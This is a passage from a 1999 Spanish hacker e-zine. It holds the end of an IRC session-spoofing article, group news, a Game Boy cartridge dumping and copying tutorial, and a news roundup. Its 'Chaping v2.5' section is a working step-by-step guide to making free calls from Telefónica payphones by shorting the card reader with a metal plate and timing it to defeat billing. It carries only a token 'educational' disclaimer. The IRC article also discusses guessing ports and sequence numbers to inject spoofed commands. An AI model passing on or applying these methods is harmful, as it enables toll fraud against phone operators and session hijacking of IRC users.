El cliente envia el asentimiento.

Con estos dos ejemplos podemos ver claramente una cosa: El servidor ejecuta el
comando al recibirlo y envia la respuesta, con lo cual si quisieramos hacer
spoofin sobre un cliente ya conectado, "solo" tendriamos que adivinar el
puerto del servidor al que se conecta el cliente, el puerto que usa el cliente
para conectarse, y el numero de secuencia del paquete que tenemos que enviar.

Como se puede observar adivinar todas esas cosas parece dificil, pero no lo es
tanto si tenemos en cuenta que la mayoria de la gente se conecta al puerto
6667 del servidor, que las conexiones en los clientes se suelen situar a
partir del puerto 1025 y no demasiados puertos mas arriba (normalmente la
gente se sule conectar al irc nada mas realizar la conexion con internet). Lo
realmente dificil es adivinar el numero de secuencia a enviar.

En la actualidad tengo en desarrollo un peque¤o programa que envia paquetes
TCP con ordenes para irc al puerto que queramos spoofeando al cliente. Cuando
sea un poco mas funcional lo subire a la lista.

Si alguien tiene alguna idea sobre todo esto que me escriba a
senpai@cyberdude.com, con cualquier sugerencia o lo que sea. Si habeis
encontrado algun fallo en el articulo tambien me gustaria que me lo dijerais
antes de empezar a ponerme verde.

Para mas informacion leeros la RFC1459.




---- { R16_11 } --------------------------------------------------------------

-------- { PANDEMONIUM } --------------------------------------------------

--- { Rare-Team }

Bueno inaguramos seccion, para comunicarnos con vosotros.

--> Sobre el Rare-Team
Tenemos una incorporacion, que es Aj0, y bueno tambien nos dejan 12r y
Azumlord.
Y un saludo a Cytorax que tiene el brazo roto, haber si se le arregla
pronto.


--> LLAMAMIENTO URGENTE A LOS ANTIGUOS MIEMBROS DE RareGaZz.
Por favor, que: Arkangel, KillerBot, Orion, RareTrip, ServerHacker,
Mr.X, LePompeItor o CrackSmoker, se pongan en contacto con nosotros


--> Sobre la lista de correo

Para suscribiros teneis dos opciones:
1§ Mandar un mail vacio a raredudez-subscribe@onelist.com
2§ http://www.onelist.com/subscribe.cgi/raredudez
Para borrarse tambien teneis dos pociones:
1§ Mandar un mail vacio a: raredudez-unsubscribe@onelist.com
2§ Desde onelist
Nosotros no haremos caso de ningun mail solicitando (des)suscripciones

Las normas de la lista son las siguientes:


*** Objetivos de la lista de RareGaZz. ***

- Consultas sobre herramientas, tecnicas, etc., mientras tengan aplicacion
en el contexto de la seguridad en redes.
- Facilitar la creacion de una conciencia,sobre la seguridad informatica
en los paises de habla hispana.
- Proporcionar informacion en castellano sobre temas discutidos en otras
listas, publicados generalmente en ingles.

*** Normas de uso y estilo de la guia. ***

- Solo preguntas sobre Hack, Underground y derivados, quedando excluidos otros
temas. (Esto es muy importante, voy a intentar ser en esto estricto).
Para otros temas hay otras listas.
- No mandar archivos adjuntos, caso de que quieran que los raredudez veamos
algo pongan la url donde se encuentra.
- Cuando se este discutiendo un tema y se vea que ya no se va a sacar mas
interes, para los raredudez, los administradores lo indicaran, para evitar
mas mensajes.
- CALIDAD de mails no cantidad.
- Si te acabas de apuntar a la lista, no participes aun, espera para ver como
se comportan los demas.
- En esta lista se admiten unicamente los siguientes tipos de contenido:
text/plain con juego de caracteres ASCII o ISO-LATIN-1, (por la
estandarizacion de diferentes lectores en diferentes S.O) y
application/pgp firmado (nunca cifrado). Es decir, texto simple o firmado
con PGP. No usar HTML, hay gente que usa el PINE y demas.
- Los usuarios de la lista se comprometen a respetar estas normas.
- Se tendran en cuenta los objetivos de la lista a la hora de enviar
cualquier mensaje.
- Para suscribirse mandar un mail vacio a: raredudez-subscribe@onelist.com
o bien ir a: http://www.onelist.com/subscribe.cgi/raredudez
Para borrarse mandar un mail vacio a: raredudez-unsubscribe@onelist.com





----- { R16_12 } -----------------------------------------------------------

--------- { INTRODUCCION A LOS CARTUCHOS DE GAME BOY } ---------------------

--- { Aj0 }


Introduccion a los cartuchos de GameBoy (tm)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

0) Introduccion

1) ¨Que es realmente un cartucho de GameBoy? ¨Y una GameBoy?

2) ¨Son todos iguales? / ¨Como funcionan?

3) Especificaciones tecnicas
3.1) GameBoy
3.2) Cartucho

4) ¨Existe la posiblidad de volcarlos al ordenador?

5) ¨Es posible copiarlos?

6) ¨Puedo crear mis propios programas y juegos?

------------------------------------------------------------------------------
0.- Introduccion
-------------------------------------------------------------------------------

Para comprender este articulo es necesario tener unos conocimientos
medios/avanzados de electronica digital, incluyendo conocimientos sobre
memorias SRAM / Flash ROM / ROM , etc. ademas de un poco de idea sobre
procesadores de 8 bits como el Z80, el Z80 preferiblemente, pero realmente
los conocimientos sobre el procesador no son fundamentales siempre que no
quieras ponerte a programar nada para la GameBoy.

Antes de enviarme cualquier duda existencial, ten en cuenta que no
dispongo de excesivo tiempo, a si que ... si tienes alguna duda, se conciso,
de todas maneras intentare dejar todo lo mas claro posible.


-------------------------------------------------------------------------------
1.- Que es realmente un cartucho de GameBoy / una Gameboy
-------------------------------------------------------------------------------

Bien.. comenzare primero por explicar que es realmente una GameBoy ..
a primera vista... lo primero que pensamos ... es que es una video consola
portatil... pero ahi no queda todo... . Realmente una GameBoy es un peque¤o
ordenador portatil, tiene su ROM / su S-RAM / sus perifericos... (controles,
sonido, display LCD), y por supuesto... su procesador ... un autentico Z80,
bueno... no es autentico del todo, algunas instrucciones han sido eliminadas
y otras sustituidas, los registros de indice ya no existen, las instrucciones
de intercambio han sido eliminadas, y algunas han sido a¤adidas:
LDI (HL),#$xx
LDD (HL),#$xx
SWAP A through L
LD A,($FFxx)

y poco mas.., pero en el fondo es un Z80, con lo cual, la mayor parte
del codigo ya existente era bastante portable a la GameBoy, y ya existian
libros...
Una peque¤a delicia para cualquier programador (y jugador ;).

Bueno, ahora que ya sabemos que es exactamente una GameBoy, os
explicare en que consiste un cartucho de GameBoy.
Un cartucho de GameBoy es simplemente una "ROM" que se conecta al bus
del procesador de la GameBoy, realmente contiene mas componentes, pero para
empezar eso nos basta...
Los pines del conector de la GameBoy tienen cada uno la funcion tipica
de un bus de 16bits de direcciones (A0 - A15) y 8bits de datos (D0 - D7), una
se¤al de escritura (/WR), una se¤al de lectura (/RD), otra de reset, una de
masa (GND), otra de alimentacion (VCC / +5v), y otra mas que ya explicaremos
mas adelante... la cual se utiliza para los cartuchos que tienen memoria de
almacenamiento (para almacenar las partidas por ejemplo.




-------------------------------------------------------------------------------
2.- ¨Son todos iguales? / Como funcionan..
-------------------------------------------------------------------------------

Realmente .. en cuanto al conector.. por supuesto que si... son todos
iguales, pero en cuanto a la capacidad y a¤adidos (RAM para partidas) son
distintos, hay ciertos estandares... MBC1 / MBC2 que ya explicare en las
especificaciones tecnicas.

En principio las capacidades basicas son: 32kB / 64kB / 128kB / 256kB
512kB / 1MB / 2MB

Bien.. supongo que a los mas adelantados... les habra surgido ya una
peque¤a duda... si tenemos un bus de direcciones de 16bits / y uno de datos
de 8 bits ... solo podemos almacenar 2^16 bytes = 64 kB .... ¨entonces como
podemos almacenar capacidades de 128 kB/256 kB y 512 kB? , pues no es
demasiado complicado, utilizando el tipico paginado de memoria que ya se usaba
en los Spectrum ... un poco distinto .. pero basicamente el mismo...


Bien... basicamente dividen la memoria ROM en bloques de 16kB,los
primeros 16kB del direccionamiento (0000h-4000h) siempre apuntan a el primer
bloque de la ROM del cartucho (los primeros 16kB) y los siguientes 16kB
(4000h-8000h) apuntan al bloque que le hayamos indicado al chip controlador
que se encuentra en el cartucho (MBC1 o MBC2), lo cual se consigue escribiendo
el numero de bloque al que queremos acceder en cualquier direccion entre 2000h
y 4000h ... normalmente se suele utilizar la 2000h.
Pongamos un ejemplo... nuestro codigo... que se esta ejecutando en la
direccion 0100h ... escribe el byte X en la direccion 2000h, desde ahora,
cuando acceda para lectura en la direccion 4000h estara accediendo realmente a
la direccion 4000h*X , cuando acceda a la direccion 4001h , estara accediendo
a la direccion 4000h*X+1 en la ROM del cartucho..... supongamos que X=8,
entonces despues de haberlo escrito en 2000h, si leemos de la direccion 4001h,
estaremos recogiendo el dato de la ROM en la direccion 20001h.

Con este sistema, tambien tenemos acceso a una memoria RAM externa, no
disponible en todos los cartuchos, esta RAM se encuentra entre las direcciones
A000h-C000h, y la seleccion del banco se consigue mediante la escritura en las
direcciones entre 4000h-6000h, normalmente 4000h, ademas para poder acceder a
la memoria RAM del cartucho, debemos escribir 0Ah entre las direcciones
0000h-2000h, y para terminar el acceso escribimos cualquier otra cosa (0 p.
ej.) en ese mismo rango de direcciones, esto simplemente es un mecanismo de
proteccion para evitar escrituras aleatorias cuando siendo extraido o
insertado el cartucho, pues esta memoria suele estar alimentada por una pila
de litio para guardar las partidas.

Con esto queda explicado como tenemos acceso a toda la ROM, ahora
en las especificaciones tecnicas os adjunto un mapa de memoria.



-------------------------------------------------------------------------------
3.- Especificaciones tecnicas
-------------------------------------------------------------------------------



3.1) Especificaciones de la GameBoy:

CPU: 8-bit (similar al Z80)
RAM: 8KBytes
RAM de Video: 8KBytes
Tama¤o de la pantalla: 2.6 pulgadas
Resolucion: 160x144
Max # de sprites: 40
Max # sprites/linea: 10
Max tama¤o de los sprites: 8x16
Min tama¤o de los sprites: 8x8
Frecuencia de reloj: 4.194304 MHz
Sonido: 4 canales con sonido stereo
Alimentacion: DC6V 0.7W


3.2) Mapa de memoria del cartucho:


Registro de Activacion de Interrupciones
--------------------------------------- FFFF
RAM Interna
--------------------------------------- FF80
Libre / Usable
--------------------------------------- FF4C
Puertos E/S
--------------------------------------- FF00
Libre / Usable
--------------------------------------- FEA0
Tabla de Attrib de los Sprites (OAM)
--------------------------------------- FE00
Eco de la memoria de 8kB interna
--------------------------------------- E000
RAM 8kB interna
--------------------------------------- C000
RAM 8kB externa (bancos) En escritura:
--------------------------------------- A000 ------------------------
RAM Video 8kB / Selector de Banco RAM
--------------------------------------- 8000 / -----------------------
Banco #x de ROM 16kB 6000 --/ / Selector de Banco ROM
--------------------------------------- 4000 ----/ ----------------------
Banco #0 de ROM 16kB 2000 ------/ Activacion de RAM ext.
--------------------------------------- 0000 -----------------------------


Mapa de memoria detallado de la cabecera del cartucho:

0100-0103 Aqui es donde comienza la ejecucion del cartucho, suele ser
un NOP seguido de un JP (salto), pero no tiene por que.

0104-0133 Logotipo de Nintendo: (NO PUEDE CAMBIAR, SI NO LA GAMEBOY NO SALTA
A 0100, ES UN METODO PARA QUE LOS PROGRAMADORES TENGAN QUE PAGAR EL
COPYRIGHT A NINTENDO)

CE ED 66 66 CC 0D 00 0B 03 73 00 83 00 0C 00 0D
00 08 11 1F 88 89 00 0E DC CC 6E E6 DD DD D9 99
BB BB 67 63 6E 0E EC CC DD DC 99 9F BB B9 33 3E

0134-0143 Titulo del juego (en mayusculas),lo que sobra rellenado con ceros,
si el ultimo caracter del titulo es un 080h entonces es un juego
para Gameboy Color (CGB).

0144 Digito Ascii del codigo de licencia (nibble alto)
0145 Digito Ascii del codigo de licencia (nibble bajo)

0146 GB/SGB (00=GameBoy, 03=Super GameBoy, la de la Super Nintendo)
si aqui hay un 00, las funciones especiales de la "Super GameBoy"
no se activaran... al menos eso dicen.. pero yo no he podido
comprobarlo, no tengo una Super Nintendo.

0147 Tipo de cartucho:
0 - ROM ONLY 5 - ROM+MBC2
1 - ROM+MBC1 6 - ROM+MBC2+BATTERY
2 - ROM+MBC1+RAM 8 - ROM+RAM
3 - ROM+MBC1+RAM+BATTERY 9 - ROM+RAM+BATTERY
FF - ROM+HuC1+RAM+BATTERY (de este no
he visto
ninguno)

0148 Tama¤o de la ROM:
0 - 256Kbit = 32KByte = 2 banks
1 - 512Kbit = 64KByte = 4 banks
2 - 1Mbit = 128KByte = 8 banks
3 - 2Mbit = 256KByte = 16 banks
4 - 4Mbit = 512KByte = 32 banks
5 - 8Mbit = 1MByte = 64 banks
6 - 16Mbit = 2MByte = 128 banks
52 - 9Mbit = 1.1MByte = 72 banks
53 - 10Mbit = 1.2MByte = 80 banks
54 - 12Mbit = 1.5MByte = 96 banks

0149 Tama¤o de la RAM:
0 - None
1 - 16kBit = 2kB = 1 bank
2 - 64kBit = 8kB = 1 bank
3 - 256kBit = 32kB = 4 banks

014A Codigo de Destino:
0 - Japones
1 - No-Japones

014B Codigo de licencia antiguo:
33 - Comprobar 0144/0145 para el codigo de licencia.
79 - Accolade
A4 - Konami
(las funciones de Super Gameboy no funcionaran si es distinto de $33)

014C Version de la ROM

014D

  
Comprobacion (Suma)
(en teoria, pero no estoy seguro, es un xor de todos los bytes desde
el 0100 hasta el 014C, con lo cual si leemos este byte y hacemos un
xor con el desde 0100 hasta 014C debe dar 00, de todas maneras
hay programitas que te lo calculan si quieres programar algo)

014E-014F Checksum conseguido sumando todos los bytes del cartucho, excepto
(La GameBoy ignora este valor, pero puede servir para comprobar
si hemos leido adecuadamente el cartucho desde el ordenador)

-------------------------------------------------------------------------------
4.- ¨Existe la posiblidad de volcarlos al ordenador?
-------------------------------------------------------------------------------

Todo depende de tu habilidad con el soldador, ;), pero en principio si,
por supuesto que se puede, solo necesitas emular las se¤ales del bus
adecuadamente, para hacerlo, puedes utilizar varios metodos:

a) logica convencional, para este puede servir el circuito tipico,
creo que dise¤ado por Jeff Frohwein, es el archivo [c3p.gif]

- 3 Latchs de 8 bits 74HCT374 (1 para los datos, 2 para las
direcciones)
- un decodificador 74HCT138
- unas puertas NAND 74HCT00
- un integrado con 4 mutiplexores de 1 bit de resolucion, como
el 74HC157,
- algunas otras cosas, digamos, no apto par principiantes ;).
- ahh.. y un conector de GameBoy (de alguna gameboy vieja)

b) Montarte algun circuito de estos con dos 8255, (o incluso con 1),
que se puede conectar al puerto paralelo, y da 48 bits de E/S digital
que siempre es muy util para este tipo de experimentos. ;)
Para esto debes buscarte la vida, ahora mismo no tengo esquemas,
seguro que puedes encontrar alguno en la red, de todas maneras,
un dia de estos cuando tenga tiempo espero publicar un esquema
que tengo por aqui (lo hizo busmaster), y las rutinas que tengo
por aqui en C para el mismo (tambien estan las de Pascal hechas
por busmaster ;)


Una vez que tengas el circuito, solo necesitas el software, aqui como
ves, casi todo es "Made It Yourself", asi que ... si usas el esquema C3P.gif
puedes encontrar software por ahi en la pagina de Jeff, aunque ese montaje es
mucho menos flexible.
Si quieres hacerte el software para leerlo debes conseguir que haga lo
siguiente:

Para leer una direccion XXXX:

1) Pones la direccion XXXX en el bus de direcciones A0-A15
2) Bajas la linea /RD (que en reposo esta alta)
(las demas lineas de control /WR /CS deben estar bajas)
3) Lees los datos que salen en D0-D7
4) Subes la linea /RD

Para escribir en una direccion XXXX:

1) Pones la direccion XXXX en el bus de direcciones A0-A15
2) Pones el byte a escribir en D0-D7
3) Bajas la linea /WR (las demas altas)
4) Esperas unos nanosegundos (200 ns aprox)
5) Subes la linea /WR


Y bueno.. si quieres leer algun otro banco que no sea el 0 ,recuerda
que debes primero seleccionarlo escribiendo el la direccion 2000h, etc,etc,etc.

Ademas, si queremos acceder a la memoria del cartucho, debemos bajar
tambien la linea /CS (eso es importante).



Bueno... ahi lo dejo en tus manos... ;)



-------------------------------------------------------------------------------
5.- ¨Es posible copiarlos?
-------------------------------------------------------------------------------

Veamos... ¨tu que opinas? ... si tienes todos los datos de como
funciona un cartucho (o al menos los mas importantes) ... solo es ingeniarselas
un poco ... pero bueno... te dare unas pistas...

Para hacerte un cartucho grabable de 32kB solo necesitarias una
memoria. No volatil, una NVRAM o una FLASH o una EEPROM, eso a tu gusto... yo
al principio utilizaba una memoria NVRAM de DALLAS (creo q la DS1234Y (no
estoy seguro del modelo, miralo en la web de Dallas Semiconductors), pero
ahora me he hecho un cartucho a partir de uno pirata que tenia, que traia una
eeprom, y se la he cambiado por una flash de AMD de 128kB a la cual le he
acortado las patillas [ver el cart128k.jpg] , en concreto una AM29F010,
tambien adjunto un esquema (el cual no he probado, aunque si he comprobado el
patillaje, y deberia funcionar, aunque ahi si que no aseguro nada, tambien de
nuestro amigo Jeff ;) [c3cart.gif] y [c3guts.jpg].
Tienen un inconveniente, tienes que o hacerte la placa y programarte
una pal para que funcione como un MBC1 o MBC2 y que quepa todo dentro del
cartucho, o pillar un cartucho, desoldar la ROM, y soldar la FLASH.

Luego ademas necesitas el software, puedes programartelo tu a partir
de los datasheets de AMD (o de la FLASH que uses) .. con un poco de ma¤a se
puede conseguir.. no es execesivamente complicado (o si... ;-).

De nuevo... si usas el esquema de Jeff.. puedes utilizar el software
que hay en su web, que creo recordar que graba en las memorias AMD con el
montaje c3p.gif y c3cart.gif.


------------------------------------------------------------------------------
6.- ¨Puedo crear mis propios programas y juegos?
------------------------------------------------------------------------------

­Por supuesto que si!, tienes en la red varios ensambladores y un
compilador de C con suficientes librerias y utilidades, lo cual lo hace
muy sencillo... ademas ... puedes probarlo con cualquiera de los emuladores
y luego volcarlo a tu cartucho grabable ;)

Te recomiendo que busques el GBSDK.


Para terminar... si te ha parecido interesante este tema, y quieres
seguir con el, buscar mas informacion etc, te recomiendo la pagina de Jeff,
en http://hiwaay.net/~jfrohwei/gameboy/
Tambien te recomiendo el tutorial de programacion pandoc.txt, donde
puedes encontrar informacion mas detallada sobre la estructura del cartucho
y la memoria.





----- { R16_13 } -------------------------------------------------------------

--------- { Chaping v.2.5 } --------------------------------------------------

--- { Armand VanHell }


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º ß ß º ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ º ß ß º
º Ü Ü º ³ TDD ³ º Ü Ü º
º ßÛÛÛÛß º ³ ^^^^^ ³ º ßÛÛÛÛß º
º º ³ The Den of the Demons ³ º º
º Phreak Rulez! º ³ Group of Phreakers ³ º Phreak Rulez! º
º º ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ º º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
º http://www.webcrunchers.com/tdd º
º http://www.thepentagon.com/tdd º
º º
º NOMBRE DEL ARCHIVO: Issue 20 ; CHAPING v.2.5 (revision) º
º AUTOR: Armand VanHell º
º ACTUALIZACION: 08/02/99 (Version especial para RareGaZz) º
º º
º Texto recomendado para EDIT de MS-DOS º
º º
º Documento obtenido de la pagina de TDD. Este documento es º
º de libre distribucion, siempre que no se modifique su contenido. º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ


CHAPING v. 2.5
--------------
Para llamar gratis (sin tener que echar pelas)


Esto es una revision, bueno mas que eso, del issue 15, lo mejor del chaping
v. 2.0 es que no hace falta echar pelas para llamar, asi que el riesgo de
perderlas desaparece, porque como hay mucho zarpas suelto :D, se llama
chaping v. 2.0 porque... ea cosas de mi cabeza X), con esto la pe¤a se
pondra poner a llamar como descosidos, etc, etc...

Esto es una revision de una revision previa, Chaping 2.5 corrige y a¤ade
algunas cosas al Chaping 2.0 pero no es la 3.0 ;), bueno... hace tiempo que
PaTa de RareGaZz me pidio un issue pero por problemas y lios se me fue el
santo al cielo y el otro dia recibi un mail volviendo a pedirmelo y esta vez
si he puesto manos a la obra.

De paso mandamos un saludo a RareGaZz, un e-zine currado y que no solo se
centro en hack si no tambien en demas asuntillos under, aunque el phreak ...
este un poco olvidado, este es un granito de arena para solucionarlo.

Como RareGaZz tiene un ambito mas internacional que nuestra web hay que
explicar algunas cosas: el truco esta referido a TM's (telefonos modulares)
de la compa¤ia Telefonica, Espa¤a y no se concretamente que paises mas de
sudamerica, afortunados los que tengais cabinas de estas por alla, si no
sabes que telefonos son puedes mirar en nuestra web por algunas fotos o
directamente visita http://www.cabitel.es donde podras encontrar fotos y
descripciones mucho mas amplias.


----------------------------------------------------------------------------

AL ATAQUE
---------

Bueno, se supone que al ser esto una version 2.0 es extrictamente necesario
haber practicado el Chaping 1, o al menos haber leido el issue 15 y
entenderlo, dificil en todo caso XDDD.

Para poder leer el chaping 1 (imprescindible para aplicar esta revision)
puedes pasarte por nuestra web y leerlo en el apartado issues, te lees el
15 y el 20 y asi te sera mas facil usar este :D para ello puedes usar estas
direcciones:

http://www.webcrunchers.com/tdd -> Web site oficial
http://www.thepentagon.com/tdd -> Puntero oficial

Lo que hay que tener ya sabido del 15 :P, como y donde meter la chapa, y ser
un poco precavidos, como te pillen te pueden meter un puro o algo asi, no se
que del codigo penal, unos pueden robarnos mes a mes y es legal, y luego vas
tu...

- Descolgamos el TM :D y nos da linea.

- Metemos la chapa para cortar, esto es chungo para algunos la chapa (o
cualquier otra cosa metalica) debe tocar la cabeza metalica lectora de
bandas magneticas (en la ranura de tarjetas, al principio, a la derecha y
abajo) y cuando no se oiga linea ya has cortado. Si al meter la chapa no
corta, solo se oye estatica, pues dejas la chapa como se supone que deveria
estar y con el cable del microtelefono (ese gris metalico con anillos
enroscados :D) tocas en la parte metalica (gris) que es lo de las tarjetas y
deberia cortar en la mayoria de las cabinas que con solo la chapa no lo
hace, osea deberas tener la chapa puesta y con el cable ir juntandolo a la
parte metalica para cortar.

- Meter la chapa por donde indica el circulo rojo:

- Pues eso, habiendo cortado sin oir linea, marcados 083 y esperamos a que
ponga DATOS en el display tambien se podria marcar cualquier otro numero
gratuito (1004, 1002, 900) + la tecla bandera, es solo para enga¤ar al tm y
que se crea que no debe tarificar. Recuerda que debes marcar cualquier
numero gratuito, no se como anda la numeracion por alla.

* Aqui puede que el TM se reinicie y no nos deje marcar, entonces la
solucion es pulsar la tecla R (o colgar rapida y levemente para emularlo si
no funciona) y cuando leamos en el display NUEVA LLAMADA, proceder a marcar
el numero gratuito.

- Una vez ponga DATOS en el display, sacamos la chapa o despegamos el cable,
y deberemos volver a oir linea. Esa linea nos permite llamar a donde
queramos... NO, hay que currarselo un poco mas.

* Puede que no ponga DATOS, si no simplemente se vea el numero que hemos
marcado y las posteriores marcaciones no se reflejen (como ocurria con los
TMMI (grise) y ahora con todos los demas) la cuestion es que las marcaciones
que hagamos suenen en la linea y se procesen correctamente.

- Ahora marcamos el numero de telefono al que queremos llamar como desde
casa :P. Y llamara, pero hay que tener en cuenta que en cuanto nos
delcuelguen se cortara, y el TM se reiniciara porque no tiene pelas. Para
que no se corte, en el preciso instante que descuelguen, la chapa debe estar
introducida y cortando para que no cobre ese paso. Los pasos transcurren
cada determinado tiempo dependiendo del tipo de llamada, pero
cronometrandolos y viendo cuando se corta se puede ir predeciendo cuando va
a cortarse, entonces solo hay que meter la chapa unos segundos antes de que
llegue a ese tiempo en el que se va a cortar, entonces con la chapa dentro y
cortando la linea y llegue el momento de cobrar, el TM se reiniciara.

- El reinicio: varia mucho de un TM a otro, normalmente la cabina hace un
ruido con el validador de monedas, se borra el display y aparece lo de
TELEFONICA y demas como cuando descuelgas, en el momento que te salga lo de
MARQUE NUMERO, sacas la chapa, y como comprabaras la comunicacion no se ha
cortado, pero tampoco puedes hablar porque el microtelefono esta
desactivado.

- Para activar el microtelefono solo debemos pulsar dos asterisco **. Se
pueden pulsar en cualquier momento, mejor cuando la chapa esta dentro para
que no suenen y la gente no se mosquee. El tiempo en que la chapa se
encuentra dentro, la otra persona oye estatica, y se mosquean aun mas XDD,
sobre todo al principio cuando pregunta. Quien? y tu estas esperando que
reinicie el TM para contestarle.

* Si el TM esta actualizado (como sucede en Espa¤a) al pulsar los ** para
activar el microtelefono y seguir hablando se reiniciara y se cortara, para
ello hay que recordar que siempre que vayamos a pulsar una tecla mientras
estemos practicando Chaping hay que pulsar la tecla R (o emularlo con la de
colgar) y esperar a que ponga NUEVA LLAMADA antes de marcar cualquier cosa,
de lo contrario el TM se nos reiniciara y se cortara la llamada.

- Asi que una vez hayas pillado los tiempos es cuestion de mientras estes
hablando controles el cronometro para saber cuando hay que meter la chapa y
esperar que reinicie el TM para seguir hablando.

- Para acabar de hablar cuelgas y te largas. :D


----------------------------------------------------------------------------

COSAS RARAS
-----------

- Algunos TM no reinician, asinque solo hay que sacar la chapa y ya puedes
hablar.

- Algunos muestran el mensaje de FUERA DE SERVICIO y se reinician dos veces
seguidas, no problem, lo unico que tienes que esperar mas tiempo antes de
seguir hablando.

- Algunas se descargan demasiado cuando tienen la chapa dentro, asi que no
es recomendable tener la chapa mucho tiempo dentro porque se ira al pedo,
normalmente nos avisara con un ESPERE.

- En algunos casos al reiniciar, por extra¤os motivos, no te dejara marcar
los **, simplemente marca 00 y resuelto :) . Recuerda pulsar la R.

- En la mitad de Espa¤a, las cabinas al descolgarse suena una especie de
carrier para que le den acceso a la RTC, en esas el metodo varia, en algunas
no funcionara ni de co¤a y en otras si, pero mediante procesos que
desconozco, bueno los hay pero como no los se explicar exactamente de
momento, prefiero no hacerlo y esperarme, asinque buscaros cabinas sin
carrier ;).

* Un mundo aparte seria relatar las modificaciones y varientes del Chaping,
en la nueva web de TDD pienso hacer una recopilacion para que podais llamar
desde cabinas con carrier, con dinero, sin dinero... y algunas cosas mas }:)

PROPAGANDA : Aprovechando el hueco que nos ha cedido RareGaZz en su e-zine
hago publicidad de nuestra web, cuya URL y puntero podeis ver en el
encabezado del texto e invitaros a que la visiteis si aun no lo habeis echo
y deciros que aparte de este issue (realmente el chaping 2.5 solo puede
leerse de momento en RareGaZz ...) pero podreis encontrar otros muchos muy
interesantes y nuestra lista de correo phreak.


Saludos a todos. TDD. Phreak rulez!

____________________________________________________________________________

ATENCION: Toda la informacion que se encuentra en este documento es solo para
finesÿeducacionales, todo acto delictivo que se haga con esta informacion
sera cosa tuya y TDD no seÿresponsabiliza de su uso. A si que mucho ojo con
lo que hagais con esto, y si os cogen luego noÿdigais si me lo dijo TDD
(porque esta informacion es para que aprendais mas sobre el sistema
telefonico).

ArMaND VanHell issue numero 20 [EOF]





---- { R16_14 } --------------------------------------------------------------

-------- { Noticias } --------------------------------------------------------

--- { Rare-Team }


=--=--=--={ NUEVOS NUMEROS
Durante nuestra ausencia han aparecido nuevos numeros de los siguientes
ezines:
* SET Consiguelo en su nuevo dominio http://www.imedia.es/set ya van por
el numero #20.
-=-> ­Animo compa¤eros! Regreso la competencia :o)
* J.J.F. / HACKERS TEAM En www.jjf.org puedes obtener su ultimo numero
del ezine el #8.
* Proyecto R. En su nueva direccion http://www.cdlr.org ya van por el
#7, estos chicos estan haciendo un buen trabajo.
* La Phrack despues de 9 meses de ausencia regresa con su numero #55 en
www.phrack.com
* 29A ha sacado su tercer numero #3 consiguelo en: 29a.cbj.net y el
tercero anda en camino.
* Y siguiendo con la scene virica espa¤ola el grupo DDT ha sacado su
primer numero #1 en members.xoom.com/billy_bel

=--=--=--={ LogIt
De la mano de Zhodiac, nos llega una fabulosa herramienta, de la cual
en RareGaZz tendras siempre la ultima version disponible, pues al ponernos
en contacto con el autor, estaremos actualizados constantemente.

Es un logger con interfaz X- windows, soporte para plugins que por
ahora detecta scaneos (stealth) tcp, escaneos udp, syn floods, ping flood, ack
storm, +++ATH0 ping, cualquier tipo de icmp (salvese destination unreachable,
generan mucha basura, y echo & echo reply pk hay un plugin para ello), tftp
requests, ataque land, ataque surf, queso y nmap -O ...

Soporte para loguear via syslog o a fichero, con la posibilidad de
verlo a traves de una interfaz X-windows (para esto se necesitaran las libre-
rias gtk-development).

Como veis una herramienta que acaba de nacer y ya tiene un gran campo
abierto.


=--=--=--={ UNDERCON 99
El fin de semana del Pilar se celebro en Murcia la Undercon, asistieron
representantes de diversos grupos del Underground Espa¤ol, RareGaZz lamenta-
blemente no pudo asistir fisicamente, ya que a ultima hora anulamos nuestros
viajes, pero lo que si realizo un miembro de RareGaZz fue la "VIRTUAL UNDER"
estubo colgado literalmente del telefono desde el viernes por la noche, hasta
el Domingo por la tarde.


=--=--=--={ TELEFONICA PACK
Telefonica no para, no le valio con dejar los login de todos sus
clientes al descubierto, echo que podria estar penado con una multa de hasta
50 millones de pesetas. Tampoco le ha salido bien comparar a sus clientes con
el mono Aurelio & Cia, pero no se queda aqui todo, ya que telefonica usa el
winzip sin registrar para enviar notas de prensa y comprimir drives de sus
producto.


=--=--=--={ ANARCHY PHREAK TEAM
Anarchy Phreak Team es un nuevo grupo de phreak muy prometedor que ya
esta dando sus primeros resultados, puedes verlos en su web
http://anarchypt.virtualave.net


=--=--=--={ ALGO DE HUMOR
Si quieres conseguir un chiste en tu buzon de forma diaria por REGO:
Rincon Electronico de la Guachafita Organizada http://www.skema.com.ve/rego
-=-> Esta bien salir un poco de la monotonia

=--=--=--={ PACKETSTORM DE NUEVO
Si has leido bien packetstorm regresa de la mano de Security lo puedes
encontrar en http://packetstorm.securify.com

=--=--=--={ MIEMBRO ARTIFICIALES CAPACES DE TRASMITIR SENSACIONES
Daniel DiLorenzo, un estudiante del prestigioso Massachusetts
Institute of Technology (http://web.mit.edu) ha desarrollado un nuevo tipo
de miembros artificiales capaces de transmitir al cerebro humano del receptor
sensaciones de tacto. La invencion le valio el "Lemelson-MIT 1999".


=--=--=--={ OLEADA DE ATAQUES AL GOBIERNO ESPA¥OL
El gobierno espa¤ol, no para de ser blanco de mira de los hackers, ya
van dos servidores, el ultimo y mas reciente el de la moncloa, donde pusieron
uan divertida foto de Aznar, www.la-moncloa.es y el otro mas antigio por el
que el chaval, al detenerle le aplicaron la ley anti-terrorista, la maquina
deonde entro fue ulises.mir.es.


